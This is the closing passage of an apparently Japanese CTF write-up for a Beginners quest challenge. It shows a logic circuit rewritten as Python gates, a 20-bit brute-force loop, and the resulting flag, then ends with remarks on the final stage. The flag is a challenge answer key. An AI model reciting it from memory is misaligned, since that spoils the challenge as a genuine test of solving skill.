  D[ 0] = C[ 0]& C[ 1]
  D[ 1] = C[ 2]& C[ 3]
  D[ 2] = B[ 8]& C[ 4]
  D[ 3] = C[ 5]& C[ 6]
  D[ 4] = C[ 7]|~C[ 8]

  E = [0]*2
  E[ 0] = D[ 0]& D[ 1]
  E[ 1] = D[ 3]&~D[ 4]

  F = [0]*1
  F[ 0] = D[ 2]& E[ 1]

  G = [0]*1
  G[ 0] = E[ 0]& F[ 0]

  return G[0]
```

ここまでできれば、20ビットなので全探索するだけ。

```solve.py
for i in range(1<<20):
  A = [i>>j&1 for j in range(20)]
  if f(A)==1:
    print A
```

```
[0, 1, 0, 0, 0, 0, 1, 0, 1, 1, 1, 0, 0, 1, 0, 0, 0, 0, 0, 1]
```

`CTF{01000010111001000001}`

### \*THE END!\* YOU'VE WON! HURRAY!!!!!

これがTrueエンドっぽい。YouTubeの動画があるけれど、65回視聴。Beginnersを解いた人はあまりいないのかもしれない。